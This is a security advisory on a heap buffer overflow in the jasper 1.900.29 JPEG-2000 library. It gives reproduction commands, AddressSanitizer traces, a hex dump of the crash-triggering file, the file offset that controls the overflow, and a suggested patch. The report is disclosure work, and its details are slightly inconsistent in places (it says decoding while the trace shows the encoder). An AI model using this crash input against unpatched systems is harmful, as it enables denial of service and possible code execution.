

jasper-1.900.29 Heap Buffer Overflow vulnerability due to a programming mistake

Overview

The vulnerability is similar to the 1st one, including similar root cause.

The vulnerability is found in jasper-1.900.29 (an open-source initiative to provide a free software-based reference implementation of the codec specified in the JPEG-2000 Part-1 standard) using AFL (<http://lcamtuf.coredump.cx/afl/>). The vulnerability exists in code responsible for decoding the input image to a JP2 file. The vulnerability is a Heap Buffer Overflow vulnerability which can cause Out-of-Bound write due to a programming mistake (i.e. a mistake when setting the size of a memory allocation). The vulnerability can cause Denial-of-Service and may cause Remote-Code-Execution.

Software and Environments

Software: jasper-1.900.29 (<http://www.ece.uvic.ca/~frodo/jasper/>)

(download link: <http://www.ece.uvic.ca/~frodo/jasper/software/jasper-1.900.29.tar.gz>)

Operation System: Ubuntu 16.04.1 i686 LTS

lsb_release -a :

```
Distributor ID: Ubuntu
Description:   Ubuntu 16.04.1 LTS
Release:      16.04
Codename:     xenial
```

uname -a :

```
Linux ubuntu 4.4.0-43-generic #63-Ubuntu SMP Wed Oct 12 13:50:36 UTC 2016 i686 i686 i686
GNU/Linux
```

Compilers: GCC + CLANG + rr

gcc --version :

```
gcc (Ubuntu 5.4.0-6ubuntu1~16.04.2) 5.4.0 20160609
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
```

clang --version:

```
clang version 3.8.0-2ubuntu4 (tags/RELEASE_380/final)
Target: i686-pc-linux-gnu
Thread model: posix
InstalledDir: /usr/bin
```

rr --version:

```
rr version 4.4.0
```

Reproduction

GCC Debug

```
cd /*path of jasper-1.900.29 source code*/
mkdir build-debug
cd build-debug
../configure --enable-debug --disable-shared
make
cd src/appl
./jasper -f /*path of PoC2 file*/ -F a.jp2
```

GCC Debug + ASAN

```
cd /*path of jasper-1.900.29 source code*/
mkdir build-debug-asan
cd build-debug-asan
../configure --enable-asan --enable-debug --disable-shared
make
cd src/appl
./jasper -f /*path of PoC2 file*/ -F a.jp2
```

Exception

```
=====  
==29945==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x9aafe818 at pc 0x08133ea8 bp 0xbf8d1688 sp 0xbf8d1678  
WRITE of size 4 at 0x9aafe818 thread T0  
#0 0x8133ea7 in jpc_qmfb_split_colres ../../../../src/libjasper/jpc/jpc_qmfb.c:548  
#1 0x8137f5b in jpc_ft_analyze ../../../../src/libjasper/jpc/jpc_qmfb.c:1562  
#2 0x810e04b in jpc_tsfb_analyze2 ../../../../src/libjasper/jpc/jpc_tsfb.c:135  
#3 0x810df96 in jpc_tsfb_analyze ../../../../src/libjasper/jpc/jpc_tsfb.c:128  
#4 0x80aeefff in jpc_enc_encodemainbody ../../../../src/libjasper/jpc/jpc_enc.c:1189  
#5 0x80a6711 in jpc_encode ../../../../src/libjasper/jpc/jpc_enc.c:306  
#6 0x8089ad6 in jp2_encode ../../../../src/libjasper/jp2/jp2_enc.c:349  
#7 0x80656c8 in jas_image_encode ../../../../src/libjasper/base/jas_image.c:470  
#8 0x804a70b in main ../../../../src/appl/jasper.c:277  
#9 0xb6fcd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)  
#10 0x8049a70 (/home/fire/bing/afl/libraries/jasper/jasper-1.900.29/build-debug-asan/src/appl/jasper+0x8049a70)  
  
0x9aafe818 is located 0 bytes to the right of 4194328-byte region [0x9a6fe800,0x9aafe818)  
allocated by thread T0 here:  
#0 0xb7292dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)  
#1 0x806fb4c in jas_malloc ../../../../src/libjasper/base/jas_malloc.c:242  
#2 0x806fca8 in jas_alloc2 ../../../../src/libjasper/base/jas_malloc.c:275  
#3 0x8133d95 in jpc_qmfb_split_colres ../../../../src/libjasper/jpc/jpc_qmfb.c:529  
#4 0x8137f5b in jpc_ft_analyze ../../../../src/libjasper/jpc/jpc_qmfb.c:1562  
#5 0x810e04b in jpc_tsfb_analyze2 ../../../../src/libjasper/jpc/jpc_tsfb.c:135  
#6 0x810df96 in jpc_tsfb_analyze ../../../../src/libjasper/jpc/jpc_tsfb.c:128  
#7 0x80aeefff in jpc_enc_encodemainbody ../../../../src/libjasper/jpc/jpc_enc.c:1189  
#8 0x80a6711 in jpc_encode ../../../../src/libjasper/jpc/jpc_enc.c:306  
#9 0x8089ad6 in jp2_encode ../../../../src/libjasper/jp2/jp2_enc.c:349  
#10 0x80656c8 in jas_image_encode ../../../../src/libjasper/base/jas_image.c:470  
#11 0x804a70b in main ../../../../src/appl/jasper.c:277  
#12 0xb6fcd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
```

```
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libjasper/jpc/jpc_qmfb.c:548 jpc_qmfb_split_colres  
Shadow bytes around the buggy address:  
0x3355fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x3355fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x3355fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x3355fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
0x3355fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
=>0x3355fd00: 00 00 00[fa]fa fa  
0x3355fd10: fa  
0x3355fd20: fa  
0x3355fd30: fa  
0x3355fd40: fa  
0x3355fd50: fa  
Shadow byte legend (one shadow byte represents 8 application bytes):  
Addressable: 00  
Partially addressable: 01 02 03 04 05 06 07  
Heap left redzone: fa  
Heap right redzone: fb  
Freed heap region: fd  
Stack left redzone: f1  
Stack mid redzone: f2  
Stack right redzone: f3  
Stack partial redzone: f4  
Stack after return: f5  
Stack use after scope: f8  
Global redzone: f9  
Global init order: f6  
Poisoned by user: f7  
Container overflow: fc  
Array cookie: ac  
Intra object redzone: bb  
ASan internal: fe  
==29945==ABORTING
```

From the above, this is a Heap Buffer Overflow vulnerability which can cause Out-of-Bound write.

Analysis

The root cause of this vulnerability is similar to cause of 1st vulnerability.
The out-of-bound write happens in function “jpc_qmfb_split_colres”, which can be found in the ASAN exception.

```

=====
==29945==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x9aafe818 at pc 0x08133ea8 bp 0xbf8d1688 sp 0xbf8d1678
WRITE of size 4 at 0x9aafe818 thread T0
#0 0x8133ea7 in jpc_qmfb_split_colres ../../../../src/libjasper/jpc/jpc_qmfb.c:548 overflow position
#1 0x8137f5b in jpc_ft_analyze ../../../../src/libjasper/jpc/jpc_qmfb.c:1562
#2 0x810e04b in jpc_tsfb_analyze2 ../../../../src/libjasper/jpc/jpc_tsfb.c:135
#3 0x810df96 in jpc_tsfb_analyze ../../../../src/libjasper/jpc/jpc_tsfb.c:128
#4 0x80aefff in jpc_enc_encodemainbody ../../../../src/libjasper/jpc/jpc_enc.c:1189
#5 0x80a6711 in jpc_encode ../../../../src/libjasper/jpc/jpc_enc.c:306
#6 0x8089ad6 in jp2_encode ../../../../src/libjasper/jp2/jp2_enc.c:349
#7 0x80656c8 in jas_image_encode ../../../../src/libjasper/base/jas_image.c:470
#8 0x804a70b in main ../../../../src/appl/jasper.c:277
#9 0xb6fcd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#10 0x8049a70 (/home/fire/bing/afl/libraries/jasper/jasper-1.900.29/build-debug-asan/src/appl/jasper+0x8049a70)

0x9aafe818 is located 0 bytes to the right of 4194328-byte region [0x9a6fe800,0x9aafe818)
allocated by thread T0 here:
#0 0xb7292dee in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96dee)
#1 0x806fb4c in jas_malloc ../../../../src/libjasper/base/jas_malloc.c:242
#2 0x806fca8 in jas_alloc2 ../../../../src/libjasper/base/jas_malloc.c:275
#3 0x8133d95 in jpc_qmfb_split_colres ../../../../src/libjasper/jpc/jpc_qmfb.c:529 allocation position
#4 0x8137f5b in jpc_ft_analyze ../../../../src/libjasper/jpc/jpc_qmfb.c:1562
#5 0x810e04b in jpc_tsfb_analyze2 ../../../../src/libjasper/jpc/jpc_tsfb.c:135
#6 0x810df96 in jpc_tsfb_analyze ../../../../src/libjasper/jpc/jpc_tsfb.c:128
#7 0x80aefff in jpc_enc_encodemainbody ../../../../src/libjasper/jpc/jpc_enc.c:1189
#8 0x80a6711 in jpc_encode ../../../../src/libjasper/jpc/jpc_enc.c:306
#9 0x8089ad6 in jp2_encode ../../../../src/libjasper/jp2/jp2_enc.c:349
#10 0x80656c8 in jas_image_encode ../../../../src/libjasper/base/jas_image.c:470
#11 0x804a70b in main ../../../../src/appl/jasper.c:277
#12 0xb6fcd636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)

```

The related code is

```

511 void jpc_qmfb_split_colres(jpc_fix_t *a, int numRows, int numcols,
512 int stride, int parity)
513 {
514
515 int bufsize = JPC_CEILDIVPOW2(numRows, 1);
516 jpc_fix_t splitbuf[QMFB_SPLITBUFSIZE * JPC_QMFB_COLGRPSIZE];
517 jpc_fix_t *buf = splitbuf;
518 jpc_fix_t *srcptr;
519 jpc_fix_t *dstptr;
520 register jpc_fix_t *srcptr2;
521 register jpc_fix_t *dstptr2;
522 register int n;
523 register int i;
524 int m;
525 int hstartcol;
526
527 /* Get a buffer. */
528 if (bufsize > QMFB_SPLITBUFSIZE) {
529     if (! (buf = jas_alloc2(bufsize, sizeof(jpc_fix_t))) ) {
530         /* We have no choice but to commit suicide in this case. */
531         abort();
532     }
533 }
534
535 if (numRows >= 2) {
536     hstartcol = (numRows + 1 - parity) >> 1;
537     // ORIGINAL (WRONG): m = (parity) ? hstartcol : (numRows - hstartcol);
538     m = numRows - hstartcol;
539
540     /* Save the samples destined for the highpass channel. */
541     n = m;
542     dstptr = buf;
543     srcptr = &a[(1 - parity) * stride];
544     while (n-- > 0) {
545         dstptr2 = dstptr;
546         srcptr2 = srcptr;
547         for (i = 0; i < numcols; ++i) {
548             *dstptr2 = *srcptr2;
549             ++dstptr2;
550             ++srcptr2;
551         }
552         dstptr += numcols;
553         srcptr += stride << 1;
554     }

```

Similar to the 1st vulnerability, when “numrows” is greater than QMFB_SPLITBUFSIZE (i.e. 4096),

the allocated length is “`bufsize = (numrows+1)/2`” while the total write-access length is “`n*numcols = numrows/2`”. As a result, out-of-bound write happens in the while loop.

Similarly, value of “`numrows`” can be controlled by modifying a field of the PoC file, i.e. field `@offset 0x0C – offset 0x0F`.

```

0 1 2 3 4 5 6 7 8 9 a b c d e f
00000000h: FF 4F FF 51 00 2C 00 02 00 00 00 0C 00 20 00 0C ; O Q.,..... ..
00000010h: 00 00 00 04 00 00 00 00 00 00 00 0C 00 00 00 0C ; .....
00000020h: 00 00 00 04 00 00 00 00 00 02 07 04 01 07 01 01 ; .....
00000030h: FF 52 00 0E 07 02 00 01 00 01 04 04 00 01 00 11 ; R.....
00000040h: FF 53 00 0B 01 01 01 04 04 00 01 11 22 FF 5C 00 ; S....." \.
00000050h: 07 40 40 48 48 50 FF 64 00 2D 00 01 43 72 65 61 ; .@HHP d.-.Crea
00000060h: 74 6F 72 3A 20 41 56 2D 4A 32 4B 20 28 63 29 20 ; tor: AV-J2K (c)
00000070h: 32 30 30 30 2C 32 30 30 31 20 41 6C 67 6F 20 56 ; 2000,2001 Algo V
00000080h: 69 73 69 6F 6E FF 90 00 0A 00 00 00 00 01 B2 00 ; ision ?.....?
00000090h: 01 FF 93 FF 91 00 04 00 00 CF B4 14 FF 92 0D E6 ; . ??...洗. ??
000000a0h: 72 28 08 FF 91 00 04 00 01 CF B4 04 FF 92 07 FF ; r(. ?...洗. ?
000000b0h: 91 00 04 00 02 DF 80 28 FF 92 07 99 26 2E E7 FF ; ?...還(???.?
000000c0h: 91 00 04 00 03 CF B4 04 FF 92 07 FF 91 00 04 00 ; ?...洗. ? ?..
000000d0h: 04 DF 80 28 FF 92 0E 07 E6 46 D9 FF 91 00 04 00 ; .還( ?.錯??..
000000e0h: 05 CF B4 04 FF 92 07 FF 91 00 04 00 06 CF B4 14 ; .洗. ? ?...洗.
000000f0h: FF 92 0C F6 74 F6 CB FF 91 00 04 00 07 CF B4 04 ; ?鱈鑿 ?...洗.
00000100h: FF 92 07 FF 91 00 04 00 08 DF 80 18 FF 92 0E 07 ; ? ?...還. ?
00000110h: 78 FF 91 00 04 00 09 CF B4 04 FF 92 07 FF 91 00 ; x ?...洗. ? ?
00000120h: 04 00 0A CF B4 0C FF 92 0C FA 1B FF 91 00 04 00 ; ...洗. ?? ?..
00000130h: 0B CF B4 04 FF 92 07 FF 91 00 04 00 0C CF C0 04 ; .洗. ? ?...俠.
00000140h: FF 92 04 FF 91 00 04 00 0D C7 DA 09 0F A8 12 1F ; ? ?...勤..?.
00000150h: 68 18 FF 92 02 48 0A 04 0B 81 06 3B 0B 66 81 FF ; h. ?H...?.f?
00000160h: 91 00 04 00 0E 80 FF 92 FF 91 00 04 00 0F C7 DA ; ?...€ ??...勤
00000170h: 09 1F 68 24 3E D0 40 FF 92 02 E8 7B E6 07 CD D0 ; ..h$>墓 ?鑽?托
00000180h: 8E 0B 72 34 D4 FF 91 00 04 00 10 CF C0 04 FF 92 ; ?r4??...俠. ?
00000190h: 04 FF 91 00 04 00 11 80 FF 92 FF 91 00 04 00 12 ; . ?...€ ??..?
000001a0h: CF C0 04 FF 92 04 FF 91 00 04 00 13 C7 DA 07 0F ; 俠. ? ?...勤..
000001b0h: A8 0A 1F 68 10 FF 92 06 40 23 07 B1 08 0C FF 91 ; ?..h. ?@#.?. ?
000001c0h: 00 04 00 14 80 FF 92 FF 91 00 04 00 15 C7 DA 0A ; ...€ ??...勤.
000001d0h: 00 FF 92 01 66 0A A0 2C FF 91 00 04 00 16 CF C0 ; . ?f.? ?...俠
000001e0h: 04 FF 92 04 FF 91 00 04 00 17 80 FF 92 FF 91 00 ; . ? ?...€ ??
000001f0h: 04 00 18 CF C0 04 FF 92 04 FF 91 00 04 00 19 C7 ; ...俠. ? ?...?

```

The corresponding debugging info is

```

(gdb) r
Starting program: /home/fire/bug/afllibraries/jasper/jasper-1.900.29/build-debug-asan/src/appl/jasper -f ../../../../jasper-1.900.28/build-de
bug/src/appl/outputs-jasper-jp2/crashes/id.000059,stig_11,src_000013,op_fllp1,pos_13 -F a.jp2
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/t386-linux-gnu/libthread_db.so.1".

Breakpoint 1, jpc_qmfb_split_colres (a=0xae9fb800, numrows=2097164, numcols=2, stride=2, parity=0)
    at ../../../../src/libjasper/jpc/jpc_qmfb.c:513
513      f
(gdb) p/x numrows
$1 = 0x20000c
(gdb) c
Continuing.

==30209==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x9b3fe818 at pc 0x8133ea8 bp 0xbffbd438 sp 0xbffbd428
WRITE of size 4 at 0x9b3fe818 thread T0
#0 0x8133ea7 in jpc_qmfb_split_colres ../../../../src/libjasper/jpc/jpc_qmfb.c:548
#1 0x8137f5b in jpc_ft_analyze ../../../../src/libjasper/jpc/jpc_qmfb.c:1562
#2 0x810e04b in jpc_tsfb_analyze2 ../../../../src/libjasper/jpc/jpc_tsfb.c:135
#3 0x810df96 in jpc_tsfb_analyze ../../../../src/libjasper/jpc/jpc_tsfb.c:128
#4 0x80aeeff in jpc_enc_encodemainbody ../../../../src/libjasper/jpc/jpc_enc.c:1189
#5 0x80a6711 in jpc_encode ../../../../src/libjasper/jpc/jpc_enc.c:306
#6 0x8089ad6 in jp2_encode ../../../../src/libjasper/jp2/jp2_enc.c:349
#7 0x80656c8 in jas_image_encode ../../../../src/libjasper/base/jas_image.c:470
#8 0x804a70b in main ../../../../src/appl/jasper.c:277
#9 0xb7832636 in __libc_start_main (/lib/t386-linux-gnu/libc.so.6+0x18636)

```

In order to trigger the vulnerability, the following condition can be satisfied:

```
bufsize = (numrows + 1) / 2 > 4096
→ numrows >= 8193 = 0x2001
→ file[offset_0x0C, offset_0x0F] >= 0x2001
```

The vulnerability (out-of-bound write) is very possible to be exploited to achieve Remote-Code-Execution.

Conclusions

This is a Heap Buffer Overflow vulnerability which can cause Out-of-Bound write. I guess the vulnerability is introduced by a programming mistake, i.e. the code should be “**buf = jas_alloc2(bufsize, numcols * sizeof(jpc_fix_t))**” instead of “**buf = jas_alloc2(bufsize, sizeof(jpc_fix_t))**”. The vulnerability can cause Denial-of-Service and may cause Remote-Code-Execution.

Patch advice

```
*** jpc_qmfb.c    2016-11-16 23:03:41.000000000 +0800
--- jpc_qmfb_patch2.c  2016-11-25 01:57:14.400086831 +0800
*****
*** 526,532 ****

    /* Get a buffer. */
    if (bufsize > QMFB_SPLITBUFSIZE) {
!       if (!(buf = jas_alloc2(bufsize, sizeof(jpc_fix_t)))) {
            /* We have no choice but to commit suicide in this case. */
            abort();
        }
--- 526,532 ----

    /* Get a buffer. */
    if (bufsize > QMFB_SPLITBUFSIZE) {
!       if (!(buf = jas_alloc3(bufsize, numcols, sizeof(jpc_fix_t)))) {
            /* We have no choice but to commit suicide in this case. */
            abort();
        }
```

Author

name: Bingchang, Liu @VARAS of IIE

org: IIE (<http://iie.ac.cn>)